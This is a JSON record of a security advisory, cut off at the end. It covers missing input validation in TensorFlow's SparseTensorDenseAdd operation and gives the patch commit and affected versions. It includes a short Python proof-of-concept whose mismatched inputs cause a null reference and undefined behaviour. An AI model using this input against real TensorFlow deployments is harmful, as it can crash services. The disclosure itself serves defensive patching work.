{"id":"GHSA-rc9w-5c64-9vqq","summary":"Missing validation results in undefined behavior in `SparseTensorDenseAdd","details":"### Impact\nThe implementation of [`tf.raw_ops.SparseTensorDenseAdd`](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/sparse_tensor_dense_add_op.cc) does not fully validate the input arguments:\n\n```python\nimport tensorflow as tf\n\na_indices = tf.constant(0, shape=[17, 2], dtype=tf.int64)\na_values = tf.constant([], shape=[0], dtype=tf.float32)\na_shape = tf.constant([6, 12], shape=[2], dtype=tf.int64)\n\nb = tf.constant(-0.223668531, shape=[6, 12], dtype=tf.float32)\n\ntf.raw_ops.SparseTensorDenseAdd(\n    a_indices=a_indices, a_values=a_values, a_shape=a_shape, b=b)\n```\n\nIn this case, a reference gets bound to a `nullptr` during kernel execution. This is UB.\n\n### Patches\nWe have patched the issue in GitHub commit [11ced8467eccad9c7cb94867708be8fa5c66c730](https://github.com/tensorflow/tensorflow/commit/11ced8467eccad9c7cb94867708be8fa5c66c730).\n\nThe fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult
